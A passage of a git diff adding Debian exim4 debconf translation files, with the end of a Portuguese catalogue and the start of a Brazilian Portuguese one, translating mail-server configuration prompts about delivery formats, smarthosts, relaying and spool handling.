+msgstr "Método de entrega para o mail local:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"O Exim pode guardar mail entregue localmente em diferentes formatos. Os mais "
+"vulgarmente utilizados são mbox e Maildir. mbox utiliza um único ficheiro "
+"para todo o directório de mail guardado em /var/mail. Com o formato Maildir "
+"cada mensagem é guardada num ficheiro em ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Por favor note, que em Debian, a maioria das ferramentas de mail esperam que "
+"o método de entrega local, por omissão, seja mbox."
+
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr "Mover mails ainda não entregues do exim 3 para o spool do exim4?"
+
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "Existem alguns mails por entregar no directório de spool do exim 3 (ou no "
+#~ "exim-tls 3) /var/spool/exim/input/."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Escolher esta opção irá mover estas mensagens para o spool do exim4 (/var/"
+#~ "spool/exim4/input/) onde serão geridas pelo exim4."
+
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Isto funciona apenas num sentido: o Exim4 pode lidar com o spool do exim "
+#~ "3 mas não o contrário. Se rejeitar esta opção, tem de mover você mesmo as "
+#~ "mensagens ou estas nunca serão entregues."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr ""
+#~ "Deixar esta lista vazia fará com que o Exim não faça entregas locais."
+
+#~ msgid ""
+#~ "This works only one-way: exim4 can handle exim(v3)'s spool but not vice-"
+#~ "versa."
+#~ msgstr ""
+#~ "Funciona apenas num único sentido: o exim4 pode lidar com o spool do exim"
+#~ "(v3) mas o contrário não é possível."
+
+#~ msgid ""
+#~ "So it is only advisable to move the messages only if it is not planned to "
+#~ "go back to Exim(v3). If a rollback might be necessary, it is a better "
+#~ "idea to refrain from moving the messages now but moving them manually at "
+#~ "a later time."
+#~ msgstr ""
+#~ "Por isso é aconselhável mover as mensagens apenas se não estiver planeado "
+#~ "voltar ao Exim(v3). Se um retorno for necessário, é uma boa ideia conter-"
+#~ "se em mudar já as mensagens agora mas sim movê-las depois manualmente"
+
+#~ msgid ""
+#~ "Domains listed here need to be separated by semicolons. Wildcards may be "
+#~ "used."
+#~ msgstr ""
+#~ "Os domínios aqui listados têm de estar separados por um ponto-e-vírgula. "
+#~ "'Wildcards' podem ser utilizados."
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "Mova os mails apenas se não pretender voltar ao exim(v3), ou, caso "
+#~ "contrário, os mails não deverão ser movidos agora mas sim manualmente "
+#~ "assim que sua instalação for convertida."
+
+#, fuzzy
+#~ msgid ""
+#~ "If there are any more, enter them here, separated by semicolons. You may "
+#~ "leave this blank if there are none."
+#~ msgstr ""
+#~ "Caso existam mais, introduza-os aqui, separados por dois pontos. Pode "
+#~ "deixar este valor em branco caso não existam mais."
+
+#, fuzzy
+#~ msgid ""
+#~ "Please enter here the domains for which this system will relay mail, for "
+#~ "example as a fallback MX or mail gateway."
+#~ msgstr ""
+#~ "Por favor introduza os domínios para os quais você aceitará fazer relay "
+#~ "de mail."
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "Tais domínios são domínios para os quais está preparado para aceitar mail "
+#~ "originado de qualquer local na Internet. Não mencione domínios locais "
+#~ "aqui."
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "Uma vez que escolheu esconder o nome de mail local no mail a enviar, deve "
+#~ "especificar o nome de domínio a ser usado nos mails enviados por "
+#~ "utilizadores locais; tipicamente este nome é o nome da máquina na qual "
+#~ "recebe normalmente suas mensagens."
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "Onde irão os seus utilizadores ler o mail?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr ""
+#~ "Máquina que gere a entrega final do mail para este host (smarthost):"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr ""
+#~ "Introduza o hostname da máquina para a qual o mail enviado será enviado."
+
+#~ msgid ""
+#~ "Mail for the \"postmaster\", \"root\", and other system accounts is "
+#~ "usually redirected to the user account of the actual system "
+#~ "administrator. If you leave this value empty, such mail will be saved in /"
+#~ "var/mail/mail, which is not recommended. Note that postmaster's mail "
+#~ "should be read on the system to which it is directed, rather than being "
+#~ "forwarded elsewhere, so (at least one of) the users you choose should not "
+#~ "redirect their mail off this machine. Use a \"real-\" prefix to force "
+#~ "local delivery."
+#~ msgstr ""
+#~ "As mensagens para o \"postmaster\", \"root\", e outras contas de sistema "
+#~ "é normalmente redireccionado para a conta de utilizador do administrador "
+#~ "do sistema actual. Se deixar este valor vazio, as mensagens serão "
+#~ "guardadas em /var/mail/mail, o que não é recomendado. De notar que as "
+#~ "mensagens para o postmaster devem ser lidas no sistema para o qual são "
+#~ "dirigidas, em vez de serem redireccionada para outro lado, portanto (pelo "
+#~ "menos um) os utilizadores que escolher não devem ter as mensagens "
+#~ "redireccionadas para fora desta máquina. Utilize um prefixo \"real-\" "
+#~ "para forçar a distribuição local."
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "Active esta funcionalidade caso esteja a usar Dial-on-Demand; Caso "
+#~ "contrário, desactive-a."
+
+#, fuzzy
+#~ msgid "Select the mail server configuration type that best fits your needs."
+#~ msgstr ""
+#~ "Seleccione o tipo de configuração que melhor se adequa às suas "
+#~ "necessidades."
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr ""
+#~ "Se estiver com dúvidas não deve escolher para dividir a configuração."
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr "converter manualmente de uma configuração manual do Exim v3"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "Configurar Exim4 manualmente?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "Indicou que possui uma configuração manual do Exim 3. Para convertê-la "
+#~ "para o Exim 4 pode usar a ferramenta exim_convert4r4(8) depois da "
+#~ "instalação.Consulte os ficheiros /usr/share/doc/exim4-base/examples/"
+#~ "example.conf.gz e /usr/share/doc/exim4-base/README.Debian.gz!"
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr ""
+#~ "Enquanto o sistema de mail não estiver configurado, não poderá ser usado."
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "O \"mail name\" (nome do sistema de mail) é a parte do nome do sistema "
+#~ "(hostname) do endereço que será exibido em mensagens de e-mail (após o "
+#~ "nome de utilizador e o símbolo @) a não ser que esteja escondido por "
+#~ "reescrita de cabeçalhos."
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr ""
+#~ "Por favor introduzir aqui as redes de máquinas locais para as quais "
+#~ "aceita fazer relay de mensagens."
+
+#~ msgid ""
+#~ "This should include a list of all machines that will use us as a "
+#~ "smarthost."
+#~ msgstr ""
+#~ "Aqui deve conter a lista de todas as máquinas que nos irão usar como "
+#~ "smarthost."
+
+#~ msgid ""
+#~ "You need to double the colons in IPv6 addresses (e.g. "
+#~ "5f03::1200::836f::::/48)"
+#~ msgstr ""
+#~ "Precisa de duplicar a quantidade de dois pontos em endereços IPv6 (por "
+#~ "exemplo, 5f03::1200::836f::::/48)"
+
+#~ msgid ""
+#~ "Enter a colon-separated list of IP-addresses to listen on. You need to "
+#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)."
+#~ msgstr ""
+#~ "Introduza uma lista separada por dois pontos contendo endereços IP nos "
+#~ "quais pretende esperar por ligações SMTP. Precisa de duplicar a "
+#~ "quantidade de dois pontos caso use endereços IPv6 (por exemplo, "
+#~ "5f03::1200::836f::::)."
+
+#~ msgid "Configuring Exim v4 (exim4-config)"
+#~ msgstr "A configurar o Exim v4 (exim-config)"
+
+#~ msgid ""
+#~ "If you are configuring this system without local mail delivery this name "
+#~ "won't appear on From: lines of mail, as rewriting is used."
+#~ msgstr ""
+#~ "Se estiver a configurar este sistema sem distribuição de mail local este "
+#~ "nome não irá aparecer nas linhas From: do mail, uma vez que técnicas de "
+#~ "reescrita são usadas."
+
+#~ msgid ""
+#~ "Obviously, any machines that use us as a smarthost have to be excluded "
+#~ "from the relaying controls, as using us to relay mail for them is the "
+#~ "whole point."
+#~ msgstr ""
+#~ "Obviamente, quaisquer máquinas que nos utilizem como um smarthost "
+#~ "precisam de ser excluídas dos controlos de relaying, uma vez que usar-nos "
+#~ "para fazer relay de mail é a idéia de um smarthost."
+
+#~ msgid ""
+#~ "Mail for the \"postmaster\" and \"root\" accounts is usually redirected "
+#~ "to one or more user accounts of the actual system administrators. The "
+#~ "default is to set things up so that mail for \"postmaster\" and for "
+#~ "various system accounts is redirected to \"root\", and mail for \"root\" "
+#~ "is redirected to a real user. This can be changed by editing /etc/"
+#~ "aliases."
+#~ msgstr ""
+#~ "O mail para as contas \"postmaster\" e para o \"root\" são normalmente "
+#~ "redirecionado para uma ou mais contas de utilizador dos administradores "
+#~ "do sistema actuais. O padrão é configurar os redirecionamentos para que o "
+#~ "mail para a conta \"postmaster\" e para as várias contas de sistema seja "
+#~ "redirecionado para a conta \"root\" e o mail para a conta \"root\" seja "
+#~ "redirecionado para um utilizador real, Isto pode ser mudado através da "
+#~ "edição do arquivo /etc/aliases."
+
+#~ msgid ""
+#~ "System administrator mail goes to which user accounts? Enter one or more "
+#~ "usernames separated by spaces or commas. Enter \"none\" if you do not "
+#~ "want to redirect the mail. - NB this is strongly discouraged. Exim cannot "
+#~ "run deliveries as root and will save the mail to /var/mail/mail Also, "
+#~ "note that usernames should be lowercase!"
+#~ msgstr ""
+#~ "O mail para o administrador do sistema será entregue para quais contas de "
+#~ "utilizador? Introduza um ou mais nomes de utilizadores separados por "
+#~ "espaços ou vírgulas. Introduza \"none\" caso não pretenda redirecionar o "
+#~ "mail - não é de todo recomendado. O Exim não pode executar entregas como "
+#~ "root e irá gravar as mensagens em /var/mail/mail. De notar também que os "
+#~ "nomes de utilizadores devem ser escritos em letras minúsculas!"
diff --git a/debian/po/pt_BR.po b/debian/po/pt_BR.po
new file mode 100644
index 0000000..a4eb529
--- /dev/null
+++ b/debian/po/pt_BR.po
@@ -0,0 +1,673 @@
+# exim4's Brazilian Portuguese debconf template translation.
+# Copyright (C) 2006, André Luís Lopes.
+# Copyright (C) 2008, Felipe Augusto van de Wiel.
+# This file is distributed under the same license as the exim4 package.
+# André Luís Lopes <andrelop@debian.org>, 2006.
+# Herbert Parentes Fortes Neto <h_p_f_n@yahoo.com.br>, 2007
+# Felipe Augusto van de Wiel (faw) <faw@debian.org>, 2008.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2008-06-09 02:04-0300\n"
+"Last-Translator: Felipe Augusto van de Wiel (faw) <faw@debian.org>\n"
+"Language-Team: Brazilian Portuguese <debian-l10n-portuguese@lists.debian."
+"org>\n"
+"Language: pt_BR\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"pt_BR utf-8\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Remover mensagens não entregues no diretório de spool?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Existem mensagens no diretório de spool do exim, /var/spool/exim4/input que "
+"ainda não foram entregues. Remover o Exim fará com que as mesmas permaneçam "
+"não entregues até que o Exim seja reinstalado."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Se esta opção não for escolhida, o diretório de spool será mantido, "
+"permitindo que as mensagens na fila sejam entregues posteriormente, após a "
+"reinstalação do Exim."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Reconfigure o pacote exim4-config ao invés deste pacote"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"O Exim4 possui sua configuração separada em um pacote dedicado, o pacote "
+"exim4-config. Para reconfigurar o Exim4, utilize o comando 'dpkg-reconfigure "
+"exim4-config'."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "site internet; mensagens são enviadas/recebidas diretamente via SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "mensagens enviadas por \"smarthost\"; recebidas por SMTP ou fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "mensagens enviadas por \"smarthost\"; nenhuma mensagem local"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "somente entrega local; fora de uma rede"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "sem configuração no momento"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Tipo geral de configuração de e-mail:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Por favor, selecione o tipo de configuração de servidor de mensagens que "
+"melhor atenda as suas necessidades."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Sistemas com endereços IP dinâmicos, incluindo sistemas com conexão discada, "
+"provavelmente deverão ser configurados para enviar mensagens para uma outra "
+"máquina, conhecida como \"smarthost\", para que as mesmas possam ser "
+"entregues devido a muitos sistemas de recepção de mensagens na Internet "
+"bloquearem mensagens que são enviadas a partir de endereços IP dinâmicos "
+"como uma proteção contra spam."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Um sistema com um endereço IP dinâmico pode receber suas próprias mensagens "
+"ou a entrega local pode ser desabilitada totalmente (exceto as mensagens "
+"para o root e para o postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Realmente deixar o sistema de mensagens não configurado?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Até o sistema de mensagens ser configurado, ele ficará quebrado e não poderá "
+"ser usado. A configuração posterior poderá ser feita manualmente ou "
+"executando o comando 'dpkg-reconfigure exim4-config' como root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Nome do sistema de mensagens:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"O 'nome do sistema de mensagens' é o nome de domínio usado para \"qualificar"
+"\" os endereços de mensagens sem um nome de domínio."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Este nome também será usado por outros programas. Ele deverá ser um nome de "
+"domínio completo e único (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Assim, caso um endereço de e-mail na máquina local seja foo@exemplo.com.br, "
+"o valor correto para esta opção seria exemplo.com.br."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Este nome não aparecerá nas linhas From: das mensagens enviadas caso a "
+"reescrita seja habilitada."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Outros destinos para os quais mensagens devem ser aceitas:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Por favor, informe uma lista de domínios de destino separados por ponto e "
+"vírgula para os quais esta máquina deve se considerar como o destino final. "
+"Esses domínios são normalmente chamados \"domínios locais\". O nome da "
+"máquina local (${fqdn}) e \"localhost\" são sempre adicionados à lista "
+"informada aqui."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Por padrão, todos os domínios locais serão tratados de forma idêntica. Se "
+"ambos a.exemplo e b.exemplo são domínios locais, mensagens para acc@a."
+"exemplo e acc@b.exemplo serão entregues para o mesmo destino final. Se nomes "
+"de domínio diferentes precisam ser tratados de forma diferente, será "
+"necessário editar arquivos de configuração posteriormente."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domínios para os quais fazer \"relay\":"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Por favor, informe uma lista de domínios de destino separados por ponto e "
+"vírgula para os quais este sistema fará \"relay\" de mensagens, por exemplo, "
+"como um MX secundário ou como um gateway de mensagens. Isso significa que "
+"este sistema aceitará mensagens para esses domínios de qualquer lugar na "
+"Internet e as entregará de acordo com as regras de entrega locais."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Não mencione domínios locais aqui. Curingas podem ser usados."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Máquinas para as quais fazer \"relay\":"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Por favor, informe uma lista de faixas de endereços IP separados por ponto e "
+"vírgula para os quais este sistema fará \"relay\" de mensagens "
+"incondicionalmente, atuando como um \"smarthost\"."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Você deverá usar o formato padrão endereço/prefixo (e.g., 194.222.242.0/24 "
+"ou 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Se este sistema não deve ser um \"smarthost\" para nenhum outro host, "
+"mantenha esta lista em branco."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Nome de domínio visível para usuários locais:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"A opção para ocultar o nome de domínio local em mensagens enviadas foi "
+"habilitada. Portanto, é necessário especificar o nome de domínio que este "
+"sistema deverá usar para a parte do domínio dos endereços de remetente dos "
+"usuários locais."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "Endereço IP ou nome de máquina do \"smarthost\" de saída:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Por favor, informe uma lista de endereços IP ou nomes de máquinas que este "
+"servidor deverá utilizar como \"smarthost\" de saída. Se o \"smarthost\" só "
+"aceita suas mensagens em uma porta diferente da porta TCP/25, inclua dois "
+"dois pontos e o número da porta (por exemplo, smarthost.exemplo::587 ou "
+"192.168.254.254::2525). Dois pontos em endereços IPv6 precisam ser "
+"duplicados."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Se o \"smarthost\" requer autenticação, por favor, consulte os arquivos "
+"README específicos do Debian em /usr/share/doc/exim4-base para notas sobre "
+"como configurar a autenticação SMTP."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Destinatário das mensagens para root e postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"Mensagens para 'postmaster', 'root' e outras contas de sistema precisam ser "
+"redirecionadas para a conta de usuário do verdadeiro administrador do "
+"sistema."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Caso este valor seja deixado em branco, tais mensagens serão gravadas em /"
+"var/mail/mail, o que não é recomendado."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Note que as mensagens para o postmaster deverão ser lidas no sistema para o "
+"qual as mesmas são direcionadas ao invés de serem encaminhadas para qualquer "
+"outro lugar, portanto, os usuários (ou pelo menos um deles) listados aqui "
+"não deverão redirecionar suas mensagens para fora desta máquina. Um prefixo "
+"\"real-\" pode ser usado para forçar a entrega local."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Múltiplos nomes de usuários precisam ser separados por espaços."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "Lista de endereços IP nos quais escutar por conexões SMTP:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Por favor, informe uma lista de endereços IP separados por ponto e vírgula. "
+"O daemon do Exim aguardará por requisições em todos os endereços IP listados "
+"aqui."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Um valor em branco fará com que o Exim ouça por conexões em todas as "
+"interfaces de rede disponíveis."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Se este sistema só recebe mensagens diretamente de serviços locais (e não a "
+"partir de outras máquinas), sugere-se proibir conexões externas ao daemon "
+"Exim local. Tais serviços incluem programas de e-mail (MUAs) que conversem "
+"somente com o localhost assim como o fetchmail. Conexões externas são "
+"impossíveis quando 127.0.0.1 é informado aqui, pois isto desabilitará a "
+"escuta em interfaces de rede públicas."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Manter o número de pesquisas DNS mínimas (Discagem-sob-Demanda)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"No modo normal de operação, o Exim executa pesquisas DNS na inicialização e "
+"quando está recebendo ou entregando mensagens. Isto é feito para propósitos "
+"de registro em log e para manter baixo o número de valores codificados "
+"manualmente na configuração."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Se este sistema não possui um serviço de resolução DNS completo disponível a "
+"todo momento (por exemplo, caso o acesso à Internet do mesmo seja discado "
+"usando discagem-sob-demanda), isto pode trazer consequências indesejadas. "
+"Por exemplo, iniciar o Exim ou executar a fila (mesmo sem nenhuma mensagem "
+"aguardando) pode disparar um evento de discagem que pode gerar custos."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Esta opção deverá ser selecionada se este sistema estiver usando Discagem-"
+"sob-Demanda. Se este sistema possui conexão permanente com a Internet, esta "
